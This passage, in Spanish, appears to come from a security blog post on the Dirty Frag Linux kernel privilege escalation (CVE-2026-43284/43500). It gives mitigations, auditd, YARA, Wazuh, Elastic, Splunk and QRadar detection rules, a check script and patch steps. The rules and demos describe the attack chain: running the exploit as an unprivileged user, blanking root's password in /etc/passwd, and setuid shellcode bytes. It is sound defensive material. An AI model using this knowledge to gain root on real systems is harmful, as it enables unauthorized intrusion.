sed -i 's/^root::.*/root:x:0:0:root:\/root:\/bin\/bash/' /etc/passwd
# Opcion 2: destruir y recrear la VM
vagrant destroy -f && vagrant upWorkarounds para entornos que no pueden parchear
Workaround 1: Deshabilitar modulos esp4, esp6 y rxrpc
El workaround oficial recomendado por el autor del exploit. Deshabilita los modulos que hacen posible la cadena:
# Mitigacion one-liner del README oficial
sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"Desglosado:
# 1. Bloquear carga de los modulos
cat > /etc/modprobe.d/dirtyfrag.conf << 'EOF'
# CVE-2026-43284 + CVE-2026-43500 (Dirty Frag) mitigation
install esp4 /bin/false
install esp6 /bin/false
install rxrpc /bin/false
EOF
# 2. Descargar los modulos si estan cargados
rmmod esp4 esp6 rxrpc 2>/dev/null
# 3. Limpiar page cache por si ya fue explotado
echo 3 > /proc/sys/vm/drop_caches
# 4. Verificar
lsmod | grep -E "esp|rxrpc"
# (sin output = modulos descargados)Que rompe esto:
- Afecta a: IPsec (libreswan, strongSwan), AFS (OpenAFS)
- No afecta a: WireGuard, OpenVPN, SSH, TLS/SSL, firewalls (iptables/nftables)
- Como verificar impacto:
ip xfrm state list(si hay SAs activas, hay IPsec en uso)
Workaround 2: Quitar CAP_NET_ADMIN en containers
El path xfrm-ESP necesita CAP_NET_ADMIN. Quitarlo previene ese vector (el path RxRPC no lo necesita, pero si rxrpc.ko no esta cargado en el host, este workaround es suficiente):
# Docker
docker run --cap-drop=NET_ADMIN myimage
# Kubernetes
apiVersion: v1
kind: Pod
spec:
containers:
- name: app
securityContext:
capabilities:
drop: ["NET_ADMIN"]Para bloquear completamente Dirty Frag en containers, combinar con la deshabilitacion de modulos en el host.
Workaround 3: Regla de auditoria
# /etc/audit/rules.d/dirty-frag.rules
# Detectar creacion de sockets AF_RXRPC (familia 33)
-a always,exit -F arch=b64 -S socket -F a0=33 -k dirty_frag_rxrpc
# Detectar carga de modulos vulnerables
-a always,exit -F arch=b64 -S init_module -S finit_module -k dirty_frag_modload
# Detectar acceso a /etc/passwd por usuario no-root (lectura para page cache)
-a always,exit -F arch=b64 -S open -S openat -F path=/etc/passwd -F perm=r -F auid>=1000 -k dirty_frag_passwd_readCargar las reglas:
augenrules --loadVerificar que el workaround funciona
Despues de aplicar el workaround 1:
su - attacker
cd dirtyfrag && ./exp
# dirtyfrag: failed (rc=1)
# El exploit no puede cargar rxrpc ni crear SAs xfrmDeteccion del ataque
Dirty Frag deja mas rastro que Copy Fail: crea sockets UDP en puertos 7779+, sockets AF_RXRPC, y modifica /etc/passwd. Pero por defecto estos eventos no se auditan.
Regla auditd
# /etc/audit/rules.d/dirty-frag.rules
# Detectar creacion de sockets AF_RXRPC (familia 33)
-a always,exit -F arch=b64 -S socket -F a0=33 -k dirty_frag_rxrpc
# Detectar bind en puertos altos UDP (7779-7900, usados por el exploit)
-a always,exit -F arch=b64 -S bind -k dirty_frag_bind
# Detectar carga de modulos vulnerables
-a always,exit -F arch=b64 -S init_module -S finit_module -k dirty_frag_modload
# Detectar modificacion de /etc/passwd
-w /etc/passwd -p wa -k dirty_frag_passwd_modify
# Detectar lectura de /etc/passwd por no-root (mmap para page cache attack)
-a always,exit -F arch=b64 -S open -S openat -F path=/etc/passwd -F perm=r -F auid>=1000 -k dirty_frag_passwd_readaugenrules --load
ausearch -k dirty_frag_rxrpc -ts recentRegla YARA: detectar el exploit en disco o memoria
rule DirtyFrag_CVE_2026_43284_43500 {
meta:
description = "Detecta el exploit Dirty Frag (CVE-2026-43284 + CVE-2026-43500)"
author = "Red Orbita"
date = "2026-05-17"
cve = "CVE-2026-43284,CVE-2026-43500"
severity = "critical"
strings:
// Strings del exploit compilado
$s1 = "dirtyfrag: failed" ascii
$s2 = "rxrpc/rxkad LPE EXPLOIT" ascii
$s3 = "XFRM_MSG_NEWSA" ascii
$s4 = "dirty_frag_xfrm" ascii
$s5 = "page-cache patched" ascii
// Patron de la busqueda de claves fcrypt
$s6 = "search K_A" ascii
$s7 = "kernel trigger" ascii
// Nombre del source
$s8 = "dirtyfrag" ascii nocase
// Socket AF_RXRPC (familia 33 = 0x21)
$rxrpc_family = { 21 00 00 00 }
// Shellcode setuid(0) + execve (path xfrm-ESP)
$shellcode_setuid = { 48 31 ff b0 69 0f 05 }
condition:
($s1 and $s2) or
($s3 and $s5) or
($s6 and $s7) or
($shellcode_setuid and $s8) or
(4 of ($s*))
}
rule DirtyFrag_Passwd_Tampered {
meta:
description = "Detecta /etc/passwd modificado por Dirty Frag (root sin password)"
author = "Red Orbita"
date = "2026-05-17"
severity = "critical"
strings:
// root con campo password vacio (root::0:0:)
$tampered = /root::[0-9]+:[0-9]+:/ ascii
condition:
$tampered
}Escanear:
# Escanear directorios de usuarios
yara -r dirty_frag.yar /home/ /tmp/ /var/tmp/ /dev/shm/
# Verificar si /etc/passwd fue modificado
yara dirty_frag.yar /etc/passwd
# Escanear procesos en memoria
yara -p 4 dirty_frag.yar /proc/*/exe 2>/dev/nullReglas Wazuh: alerta en tiempo real
Anadir en /var/ossec/etc/rules/local_rules.xml:
<group name="dirty_frag,exploit,cve-2026-43284">
<!-- Deteccion de socket AF_RXRPC via auditd -->
<rule id="100510" level="14">
<if_sid>80700</if_sid>
<field name="audit.key">dirty_frag_rxrpc</field>
<description>CVE-2026-43284: Socket AF_RXRPC creado (posible Dirty Frag)</description>
<mitre>
<id>T1068</id>
</mitre>
<group>exploit_attempt,</group>
</rule>
<!-- Deteccion de carga de modulos vulnerables -->
<rule id="100511" level="10">
<if_sid>80700</if_sid>
<field name="audit.key">dirty_frag_modload</field>
<description>CVE-2026-43284: Carga de modulo esp4/rxrpc detectada</description>
<mitre>
<id>T1068</id>
</mitre>
<group>exploit_attempt,</group>
</rule>
<!-- Modificacion de /etc/passwd -->
<rule id="100512" level="15">
<if_sid>550</if_sid>
<match>/etc/passwd</match>
<description>CVE-2026-43284: Modificacion de /etc/passwd detectada (posible Dirty Frag)</description>
<mitre>
<id>T1068</id>
<id>T1548.001</id>
</mitre>
<group>exploit_attempt,attack,</group>
</rule>
<!-- Correlacion: AF_RXRPC + passwd en menos de 10 segundos -->
<rule id="100513" level="15" frequency="2" timeframe="10">
<if_matched_sid>100510</if_matched_sid>
<same_source_ip/>
<description>CVE-2026-43284: Explotacion Dirty Frag en curso (AF_RXRPC + passwd correlados)</description>
<mitre>
<id>T1068</id>
<id>T1548.001</id>
</mitre>
<group>exploit_attempt,attack,</group>
</rule>
<!-- Post-explotacion: login root sin password -->
<rule id="100514" level="14">
<if_sid>5303</if_sid>
<match>session opened for user root</match>
<description>CVE-2026-43284: Sesion root abierta (posible post-explotacion Dirty Frag)</description>
<mitre>
<id>T1548.001</id>
</mitre>
<group>privilege_escalation,</group>
</rule>
</group>Reiniciar Wazuh:
systemctl restart wazuh-managerElastic Security (ELK/SIEM)
Regla de deteccion EQL para Auditbeat:
{
"rule": {
"name": "CVE-2026-43284 Dirty Frag - AF_RXRPC Socket Creation",
"description": "Detecta creacion de sockets AF_RXRPC (familia 33) que pueden indicar explotacion de Dirty Frag",
"severity": "critical",
"risk_score": 90,
"type": "eql",
"query": "process where event.action == \"socket\" and auditd.data.a0 == \"21\"",
"threat": [
{
"framework": "MITRE ATT&CK",
"tactic": {
"id": "TA0004",
"name": "Privilege Escalation"
},
"technique": [
{
"id": "T1068",
"name": "Exploitation for Privilege Escalation"
}
]
}
],
"tags": ["CVE-2026-43284", "CVE-2026-43500", "Dirty Frag", "LPE", "Linux"]
}
}Queries KQL para Kibana:
# Buscar creacion de sockets AF_RXRPC (familia 33 = 0x21)
auditd.data.syscall: "socket" AND auditd.data.a0: "21"
# Buscar modificaciones a /etc/passwd
auditd.data.key: "dirty_frag_passwd_modify"
# Todas las alertas de dirty frag
auditd.data.key: dirty_frag_*
# FIM: /etc/passwd modificado
file.path: "/etc/passwd" AND event.action: "updated"Splunk
| Deteccion principal: socket AF_RXRPC (familia 33)
index=linux sourcetype=linux:audit syscall=socket a0=21
| stats count by host, auid, exe, _time
| where auid >= 1000
| sort -_time
| Correlacion: AF_RXRPC + acceso a /etc/passwd
index=linux sourcetype=linux:audit (key="dirty_frag_rxrpc") OR (key="dirty_frag_passwd_read")
| transaction host auid maxspan=30s
| where eventcount >= 2
| table _time, host, auid, exe, key
| Deteccion de /etc/passwd modificado
index=linux sourcetype=linux:audit key="dirty_frag_passwd_modify"
| stats count by host, auid, _time
| Deteccion post-explotacion: root login sin password
index=linux sourcetype=syslog "session opened for user root"
| stats count by host, src, _timeAlerta recomendada:
| Alerta: posible explotacion Dirty Frag
index=linux sourcetype=linux:audit key="dirty_frag_rxrpc"
| stats count as attempts by host, auid, exe
| where attempts >= 1
| eval severity="critical"
| eval description="CVE-2026-43284: Posible explotacion Dirty Frag detectada"IBM QRadar
Rule 1: Socket AF_RXRPC
Rule Name: CVE-2026-43284 Dirty Frag - AF_RXRPC Socket
Rule Type: Event
Log Source Type: Linux OS
Event Category: Audit
Condition:
when the event matches ALL of the following:
- Event Name contains "SYSCALL"
- AND UTF8(Payload) contains "syscall=41" (socket)
- AND UTF8(Payload) contains "a0=21" (AF_RXRPC)
- AND UTF8(Payload) MATCHES "auid=[1-9][0-9]{3,}"
Action: Dispatch New Offense
Severity: 9 (Critical)
MITRE: T1068Rule 2: Correlacion
Rule Name: CVE-2026-43284 Dirty Frag - Exploitation Chain
Rule Type: Event (Sequence)
Log Source Type: Linux OS
Sequence:
1. Event contains "a0=21" (AF_RXRPC socket)
2. FOLLOWED BY Event contains "/etc/passwd" within 30 seconds
3. FROM same Source IP AND same Username
Action: Dispatch High Offense
Severity: 10 (Maximum)
MITRE: T1068, T1548.001Rule 3: /etc/passwd modificado
Rule Name: CVE-2026-43284 Dirty Frag - Passwd Tampered
Rule Type: Event
Condition:
- Event contains file integrity change for /etc/passwd
- AND Content matches "root::" (empty password field)
Action: Dispatch Critical Offense
Severity: 10 (Maximum)Script de deteccion rapida
#!/bin/bash
# check_dirty_frag.sh - Verificar estado de CVE-2026-43284 + CVE-2026-43500
echo "=== CVE-2026-43284 + CVE-2026-43500 Dirty Frag - Check ==="
echo ""
# 1. Verificar si los modulos estan cargados
VULN=0
for mod in esp4 esp6 rxrpc; do
if lsmod | grep -q "^$mod"; then
echo "[VULNERABLE] Modulo $mod cargado"
VULN=1
else
echo "[OK] Modulo $mod NO cargado"
fi
done
# 2. Verificar version del kernel
KERNEL=$(uname -r)
echo ""
echo "[INFO] Kernel: $KERNEL"
# 3. Verificar si /etc/passwd ha sido modificado (root sin password)
echo ""
echo "Verificando integridad de /etc/passwd..."
ROOT_LINE=$(head -1 /etc/passwd)
if echo "$ROOT_LINE" | grep -q "^root::"; then
echo " [CRITICO] /etc/passwd: root tiene password VACIA - SISTEMA COMPROMETIDO"
echo " Linea: $ROOT_LINE"
VULN=2
elif echo "$ROOT_LINE" | grep -q "^root:x:"; then
echo " [OK] /etc/passwd: root tiene password hash normal"
else
echo " [SOSPECHOSO] /etc/passwd: formato inusual: $ROOT_LINE"
fi
# 4. Buscar el exploit en el sistema
echo ""
echo "Buscando indicadores de compromiso..."
FOUND=0
for dir in /home /tmp /var/tmp /dev/shm; do
if find "$dir" -name "exp" -o -name "exp.c" -o -name "dirtyfrag" 2>/dev/null | grep -q .; then
find "$dir" \( -name "exp" -o -name "exp.c" -o -name "dirtyfrag" \) 2>/dev/null | while read f; do
echo " [ALERTA] Posible exploit encontrado: $f"
done
FOUND=1
fi
done
# 5. Buscar sockets AF_RXRPC activos
if ss -xa 2>/dev/null | grep -q rxrpc; then
echo " [ALERTA] Sockets AF_RXRPC activos detectados"
FOUND=1
fi
echo ""
if [ $VULN -eq 2 ]; then
echo "[CRITICO] Sistema comprometido - /etc/passwd modificado"
echo " Accion inmediata:"
echo " 1. sed -i 's/^root::/root:x:/' /etc/passwd"
echo " 2. echo 3 > /proc/sys/vm/drop_caches"
echo " 3. Analisis forense completo"
elif [ $VULN -eq 1 ]; then
echo "[VULNERABLE] Modulos vulnerables cargados - aplicar workaround:"
echo " sh -c \"printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches\""
else
echo "[OK] Sistema no vulnerable a Dirty Frag"
fiSolucion definitiva: actualizar el kernel
Los parches se encuentran en:
- CVE-2026-43284: commit f4c50a4034e6 - corrige manejo de fragmentos ESP en page cache
- CVE-2026-43500: commit aa54b1d27fe0 - corrige reutilizacion de paginas en RxRPC
Ubuntu
sudo apt update && sudo apt upgrade -y linux-image-generic
sudo rebootRHEL/Rocky/Alma
sudo dnf update kernel -y
sudo rebootFedora
sudo dnf update kernel -y
sudo rebootVerificar el parche
uname -r
# Debe ser >= 6.8.0-xx con backport del fix
# Verificar que el exploit ya no funciona
su - attacker
cd dirtyfrag && ./exp
# dirtyfrag: failed (rc=4)
# El page cache no se modifica en kernel parcheadoPlan de respuesta recomendado
| Prioridad | Accion | Tiempo |
|---|---|---|
| Inmediata | Verificar /etc/passwd no tiene root:: (sin password) | < 15 min |
| Inmediata | Aplicar workaround 1 (rmmod esp4 esp6 rxrpc + drop_caches) | < 1 hora |
| Inmediata | Desplegar reglas de auditoria (workaround 3) | < 1 hora |
| 24h | Quitar CAP_NET_ADMIN en todos los containers | < 24h |
| 72h | Planificar ventana de parche para hosts criticos | < 72h |
| 1 semana | Actualizar kernel en todos los sistemas | < 7 dias |
| Post-parche | Eliminar workarounds y verificar | Tras reboot |
Conclusiones
Dirty Frag (CVE-2026-43284 + CVE-2026-43500) es una LPE seria que demuestra como la combinacion de dos bugs en subsistemas de red del kernel puede resultar en escritura arbitraria sobre el page cache. Comparada con Copy Fail:
- Mas compleja: requiere compilacion en C, brute force de claves fcrypt (~1-45 segundos)
- Dos paths de ataque: xfrm-ESP (sin AppArmor) y RxRPC (con AppArmor), cubriendo todas las distros principales
- Modifica /etc/passwd: mas detectable que Copy Fail (que solo toca page cache de
/usr/bin/su) - Mitigacion sencilla:
rmmod esp4 esp6 rxrpcno afecta a la mayoria de servidores (solo IPsec y AFS)
Para entornos sin IPsec ni AFS, deshabilitar los modulos esp4, esp6 y rxrpc es la mitigacion inmediata mas efectiva. Verificar siempre que /etc/passwd no haya sido modificado.
Comentarios